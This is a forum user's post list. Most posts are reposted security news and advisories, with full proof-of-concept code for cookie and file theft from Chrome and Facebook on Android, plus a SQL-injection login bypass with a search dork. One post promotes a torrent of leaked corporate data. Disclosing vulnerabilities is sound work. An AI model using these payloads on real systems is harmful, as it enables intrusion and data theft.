Jump to content

boogy

Active Members
  • Posts

    178
  • Joined

  • Last visited

Everything posted by boogy

  1. Sa ne fereasca Dumnezeu sa nu se multiplice .....
  2. I-am pus nicste date o sasi dea palme
  3. Normal ca este scam. Si foarte prost facut
  4. CVE Number: CVE-2012-4909 Title: Chrome for Android - Cookie theft from Chrome by malicious Android app Affected Software: Confirmed on Chrome for Android v18.0.1025123 Credit: Takeshi Terada Issue Status: v18.0.1025308 was released which fixes this vulnerability Overview: Symbolic links can be used for spoofing Content-Type of local files. It enables malicious Android apps to steal Chrome's Cookie file. Details: When a local URI (file:///) of symlink is given to Chrome for Android (v18.0.1025123), Chrome resolves symlink and load the content of the file that the symlink is pointing to. At the time of loading, Chrome does MIME sniffing by the extension of the symlink, rather than that of the actual file which symlink is pointing to. This behavior can be used for deluding Chrome into thinking that the Chrome's private file (Cookie file) is HTML. When Chrome renders the Cookie file as HTML, JavaScript in the Cookie file is executed. Whole steps to steal Chrome's Cookie file are described below: 1. A malicious app create a symlink pointing to Chrome's Cookie file. The extension of the symlink should be "html", which is a simple trick for spoofing Content-Type. 2. The malicious app forces Chrome to load attacker's Web page. The Web page sets a crafted Cookie which contains malicious HTML+JavaScript to steal the whole content of the Cookie file: Set-Cookie: x=<img><script>document.images[0].src='http://attacker/?' +encodeURIComponent(document.body.innerHTML)</script>; expires=Tue, 01-Jan-2030 00:00:00 GMT The Cookie is stored in the Cookie file of Chrome. 3. The malicious app makes Chrome load the local URI of the symlink. Then Chrome follows the symlink and renders the Cookie file as HTML, because the extension of the URI (symlink) is "html". It results in the execution of the attacker's JavaScript code that is injected in the Cookie file. Attacker-supplied JavaScript read the whole content of the Cookie file and send it to the attacker's server. Proof of Concept: package jp.mbsd.terada.attackchrome1; import android.app.Activity; import android.os.Bundle; import android.util.Log; import android.content.Intent; import android.net.Uri; public class Main extends Activity { // TAG for logging. public final static String TAG = "attackchrome1"; // Cookie file path of Chrome. public final static String CHROME_COOKIE_FILE_PATH = "/data/data/com.android.chrome/app_chrome/Default/Cookies"; // Temporaly directory in which the symlink will be created. public final static String MY_TMP_DIR = "/data/data/jp.mbsd.terada.attackchrome1/tmp/"; // The path of the Symlink (must have "html" extension) public final static String LINK_PATH = MY_TMP_DIR + "cookie.html"; @Override public void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); setContentView(R.layout.main); doit(); } // Method to invoke Chrome. public void invokeChrome(String url) { Intent intent = new Intent("android.intent.action.VIEW"); intent.setClassName("com.android.chrome", "com.google.android.apps.chrome.Main"); intent.setData(Uri.parse(url)); startActivity(intent); } // Method to execute OS command. public void cmdexec(String[] cmd) { try { Runtime.getRuntime().exec(cmd); } catch (Exception e) { Log.e(TAG, e.getMessage()); } } // Main method. public void doit() { try { // Create the symlink in this app's temporary directory. // The symlink points to Chrome's Cookie file. cmdexec(new String[] {"/system/bin/mkdir", MY_TMP_DIR}); cmdexec(new String[] {"/system/bin/ln", "-s", CHROME_COOKIE_FILE_PATH, LINK_PATH}); cmdexec(new String[] {"/system/bin/chmod", "-R", "777", MY_TMP_DIR}); Thread.sleep(1000); // Force Chrome to load attacker's web page to poison Chrome's Cookie file. // Suppose the web page sets a Cookie as below. // x=<img><script>document.images[0].src='http://attacker/?' // +encodeURIComponent(document.body.innerHTML)</script>; // expires=Tue, 01-Jan-2030 00:00:00 GMT String url1 = "http://attacker/set_malicious_cookie.php"; invokeChrome(url1); Thread.sleep(10000); // Force Chrome to load the symlink. // Chrome renders the content of the Cookie file as HTML. String url2 = "file://" + LINK_PATH; invokeChrome(url2); } catch (Exception e) { Log.e(TAG, e.getMessage()); } } } Timeline: 2012/08/06 Reported to Google security team 2012/09/12 Vender announced v18.0.1025308 2013/01/07 Disclosure of this advisory Recommendation: Upgrade to the latest version. Reference: Chrome Releases: Chrome for Android Update https://code.google.com/p/chromium/issues/detail?id=141889 Source Chrome For Android Cookie Theft - CXSecurity WLB
  5. Affected Software: Facebook Application 1.8.1 for Android (Confirmed on Android 2.2) Credit: Takeshi Terada Issue Status: v1.8.2 was released which fixes this vulnerability Overview: The LoginActivity of Facebook app has improper intent handling flaw. The flaw enables malicious apps to steal Facebook app's private files. Details: LoginActivity of Facebook app is "exported" to other apps. When the activity is called and the user is logged-in to Facebook, the activity pulls out an intent named "continuation_intent" from the extra data of the incoming intent. Then LoginActivity launches another activity by using continuation_intent. This behavior is dangerous because the actions described in the intent (continuation_intent) given by other apps is performed in the context (permission and identity) of Facebook app. This enables attacker's apps to call (and attack) Facebook app's private (not "exported") activities, by using LoginActivity as a stepping-stone. [Example of attack targeting FacebookWebViewActivity] FacebookWebViewActivity reads an URL string from incoming intent's extra data, and loads the URL into its JavaScript-enabled WebView. FacebookWebViewActivity itself is not "exported" to other apps, so attacker's app cannot directy call it. But attacker's app can leverage the LoginActivity's flaw to relay a malicious intent to FacebookWebViewActivity, so that the activity loads an attacker- supplied URL into its WebView. In general, when an URL beginning with "file:///" is loaded in a WebView, the loaded page works in "Local Zone". "Local Zone" means that JavaScript in the page can read other local files, to which the WebView's owner process has read permission. XHR or so can be used to read other local files. Thus the victim app's private files are to be disclosed to the attacker, if the attacker's app succeeds to inject an URL of attacker-supplied local HTML file into the victim app's WebView. By using the method described above, attacker's app can get Facebook app's private files such as files under /data/data/com.facebook.katana/ directory. For more specific information, see the PoC code. Proof of Concept: ++++++ Attacker's app (activity) ++++++ // notice: for a successful attack, the victim user must be logged-in // to Facebook in advance. public class AttackFacebook extends Activity { // package name of Facebook app static final String FB_PKG = "com.facebook.katana"; // LoginActivity of Facebook app static final String FB_LOGIN_ACTIVITY = FB_PKG + ".LoginActivity"; // FacebookWebViewActivity of Facebook app static final String FB_WEBVIEW_ACTIVITY = FB_PKG + ".view.FacebookWebViewActivity"; @Override public void onCreate(Bundle bundle) { super.onCreate(bundle); attack(); } // main method public void attack() { // create continuation_intent to call FacebookWebViewActivity. Intent contIntent = new Intent(); contIntent.setClassName(FB_PKG, FB_WEBVIEW_ACTIVITY); // URL pointing to malicious local file. // FacebookWebViewActivity will load this URL into its WebView. contIntent.putExtra("url", "file:///sdcard/attack.html"); // create intent to be sent to LoginActivity. Intent intent = new Intent(); intent.setClassName(FB_PKG, FB_LOGIN_ACTIVITY); intent.putExtra("login_redirect", false); // put continuation_intent into extra data of the intent. intent.putExtra(FB_PKG + ".continuation_intent", contIntent); // call LoginActivity this.startActivity(intent); } } ++++++ Attacker's HTML/JavaScript file ++++++ <!-- attacker's app should put this file to /sdcard/attack.html in advance --> <html> <body onload="doAttack()"> <h1>attack.html</h1> <script> // file path to steal. webview.db can be a good target for attackers // because it contains cookies, formdata etc. var target = "file:///data/data/com.facebook.katana/databases/webview.db"; // get the contents of the target file by XHR function doAttack() { var xhr1 = new XMLHttpRequest(); xhr1.overrideMimeType("text/plain; charset=iso-8859-1"); xhr1.open("GET", target); xhr1.onreadystatechange = function() { if (xhr1.readyState == 4) { var content = xhr1.responseText; // send the content of the file to attacker's server sendFileToAttackerServer(content); // for debug document.body.appendChild(document.createTextNode(content)); } }; xhr1.send(); } // Send the content of target file to the attacker's server function sendFileToAttackerServer(content) { var xhr2 = new XMLHttpRequest(); xhr2.open("POST", "http://www.example.jp/"); xhr2.send(encodeURIComponent(content)); } </script> </body> </html> Note: 1. Android framework provides "PendingIntent" mechanism to safely perform the actions of an intent given by untrusted apps. In some situations, it can be a good measure for this kind of vulns. 2. Security of WebViews was improved in Android 4.1, so that attacks abusing WebViews may not work in apps built for recent versions of Android. 3. The issue in this advisory was fixed almost a year ago. But I think the issue is quite unique and is interesting for Android security researchers, so I decided to disclose this old issue here. Timeline: 2012/01/21 Reported to vender 2012/02/02 Vender released fixed version (v1.8.2) 2013/01/07 Disclosure of this advisory Recommendation: Upgrade to the latest version. Source Facebook For Android Information Disclosure - CXSecurity WLB
  6. # E SMS Script Multiple SQL Injection Vulnerability # By cr4wl3r http://bastardlabs.info # http://bastardlabs.info/exploits/E_SMS_Script.txt # Good Music: http://goo.gl/TLkEs # Script: http://www.esmsscript.com/index.php?option=com_content&view=article&id=22&Itemid=41 # Dork: inurl:"smscollection.php?cat_id=" Proof of concept: Auth Bypass http://bastardlabs/admin/adminlogin.php Username: cr4wl3r Password: 'or'1=1 Blind SQLi http://bastardlabs/smscollection.php?cat_id=[Blind SQLi] References: http://www.esmsscript.com/index.php?option=com_content&view=article&id=22&Itemid=41 Source E SMS Script SQL Injection - CXSecurity WLB
  7. Salut si bine ai venit pe RST
  8. Samsung has pushed an OTA (Over-the-air) update which fixes the security flaw that gave any application full access to the memory of its Exynos-4-based devices, according to a report on the SamMobile blog. The flaw allowed applications to access any memory location, gain root access, or inject malicious software. But that fix is apparently only available in the UK and only available for the Galaxy SIII. The flaw itself is believed to affect the international versions of the Samsung Galaxy SII, SIII, Note and Note II, Galaxy Tab 7.7, and the Galaxy Note 10.1, although it appears that a fix has not yet been pushed out for the other devices. The fix is labelled as "I9300XXELLA" and has a build date of 22 December 2012. According to SamMobile, the fix also includes an updated bootloader that addresses a "sudden death" issue on the Galaxy SIII which has seen a number of Samsung phones permanently stop working for no apparent reason; however, there is no official confirmation that there is a patch for this problem. The OTA patch was expected to be released globally soon after its appearance, but as it has yet to be spotted outside the UK. Samsung has not made any statements about the update, and the future availability of the patch is unclear. Source Report: Samsung pushes fix for Exynos 4 flaw to Galaxy SIII - The H Security: News and Features
  9. Security expert Peter Vreugdenhil from Exodus Intelligence says that the recent temporary fix Microsoft released to patch a memory error in Internet Explorer can be bypassed using a new technique. Versions 6 to 8 of the browser are affected. The company hasn't released any details concerning the new exploit. Kaspersky's threatpost news service quoted a company executive as saying: "Usually, there are multiple paths one can take to trigger or exploit a vulnerability. The 'Fix It' did not prevent all those paths." Microsoft says it is working on a patch for the hole, but it won't be part of this Tuesday's scheduled updates. In the meantime, IE users can implement one of Microsoft's other suggested measures by, for example, installing and configuring EMET, the Enhanced Mitigation Experience Toolkit. An alternative is to switch to a more recent version of IE or to a different browser. Exodus provides a detailed analysis of the hole and the earlier attack vectors in another blog post. Apparently, the issue is caused by a deallocated memory area being reused. The blog post then demonstrates how to manipulate the CPU's Extended Instruction Pointer (EIP) in such a way that it points to arbitrary code. The hole has already been exploited in compromised web pages, making them deploy malicious code on visitors' computers. Source New exploit for recent Internet Explorer hole - The H Security: News and Features
  10. This is the 7th in a line of classes Jeremy Druin will be giving on pen-testing and web app security featuring Mutillidae (or other tools) for the Kentuckiana ISSA. This one covers SQL Server Hacking. Details: Video Tutorials: webpwnized's channel - YouTube Video Index URL: Web Application Pen-testing Tutorials With Mutillidae (Hacking Illustrated Series InfoSec Tutorial Videos) YouTube Channel: webpwnized's channel - YouTube Twitter Updates: @webpwnized Source SQL Server Hacking from ISSA Kentuckiana workshop 7 - Jeremy Druin (Hacking Illustrated Series InfoSec Tutorial Videos)
  11. Ai si tu un portofoliu?
  12. Deci putem vedea un portofoliu?
  13. Ai citit macar regulamentul ?
  14. Tot nu a fost corectat.
  15. By John Leyden Free whitepaper – A Vision for the Data Centre Ubisoft is investigating a recent spate of hijackings of gaming accounts belonging to users of its Uplay platform. Complaints about account hijacking flared up around 30 December, leading to numerous posts on support forums. "There is no one at Ubi manning the support system, and the DRM requires access to your account," one victim, who tipped us off about the problem, told El Reg. Many of the compromised accounts have had their email addresses changed to uplay[somenumber]@playbay.su, suggesting one group of hackers (or perhaps an individual) is behind the attack. An official update to Ubisoft's Facebook support page said the games publisher has begun investigating the problem. We are investigating the origin of these hijackings. In the mean time, if you have had your account compromised make sure you check and change the passwords of all of your important online services. We've heard people mention services like Yahoo, Amazon, and EA were also compromised at the same time. To make your Uplay account more secure, link Facebook. This is my personal suggestion. If you have a Facebook account attached you can always go back to uplay.com and take your account back because the user cannot unlink this account. Customer support is here to help while the security team works on it and we are giving the accounts back to the rightful owners. Rumours are flying around that Ubisoft's UPlay service was hacked by Russian hackers but these rumors are unsubstantiated and probably best ignored until a clearer picture of what's happening emerges. "While there's a rash of account compromises being listed on the Ubisoft forums and Facebook page, I'm not seeing much on dedicated gaming portals with high traffic such as the Steam forum, NeoGAF and elsewhere," said Chris Boyd AKA PaperGhost, a senior threat researcher at GFI Software and an expert in gaming security. "Additionally, many users deny using so-called 'trainers' (cheat programs) which might have been emailing credentials back to base so there's not a lot to go on at the moment. One of the biggest problems with PC gaming is the amount of logins required to play the games - anyone purchasing Ubisoft's Far Cry 3 through Steam will still need to load UPlay to play it. It's quite possible that password reuse is rampant in gaming circles right now, which certainly doesn't help." An informative blog post by Boyd on gaming account login overload can be found here. ® Soursa Ubisoft probes sudden rash of hijack attacks on gamers' accounts ? The Register
  16. Cred ca poti inchide challengul https://rstforums.com/forum/63020-hard-sqli-challenge.rst
  17. boogy

    Fun stuff

    http://youtu.be/coX5N5gFqZk
  18. By Lee J on Friday 4th of January 2013 at 9:38:33 pm Updated: See our report here, more information to come shortly. Anonymous hackers have released a huge dump of files from the German Chamber of Commerce (AHK Deutsche Auslandshandelskammern) in the last week or so. The files come from ahk.de and is in the format of a parted compressed rar file that is being shared via torrents. The leaked data so far comes with a short message in the description which can be found below. The message also comes with a link to a imgur gallery that has a preview of the files and content that is inside this leak. The message also claims that AHK is gathering Intel on many of the company’s across the world that it does business with and a lot of the documents and information they have they are not meant to. Today we present you with a stash of intel from German Chamber of Commerce AHK.DE so far AHK was pwned in these locations: Ukraine, Russia, Azerbaijan, Georgia, Iraq and still counting. AHK is a type of organization which does lobby business processes in many countries while gathers intel on many business entities worldwide. Just like in presented release of Ukraine and Azerbaijan offices of AHK – we can find internal info which AHK is not suppose to have in a first place – internal documents and financial reports and confidential agreements of Bahar Energy and SOCAR (Azerbaijan), Ministry of Internal Affairs of Ukraine etc. Today we provide data from AHK office in Ukraine and Azerbaijan all from the personal computers of delegate of German economy in Ukraine, Alexander Marcus and his wife – Russian citizen and also FSB operative. We shall not tolerate any Chamber of Commerce in any country to be engaged in any commercial spying and lobbying interests of particular companies in major government funded projects – example Bahar Energy contractors. Preview of what’s inside BAHAR_ENERGY_AHK_DIWKUA - Imgur Currently the leak file only has a few seeds and many peers which is making downloading slow but once its done a full report of the files inside the compressed archive will be released. So far this would be one of the biggest data and file leaks of Intel for 2013 and if the year continues on like this we have many more to come over the following months. Leak: 1337x.org Gallery via imgur Soursa http://www.cyberwarnews.info/2013/01/04/huge-leak-of-intel-from-german-chamber-of-commerce-ahk-de/
  19. boogy

    Fun stuff

×
×
  • Create New...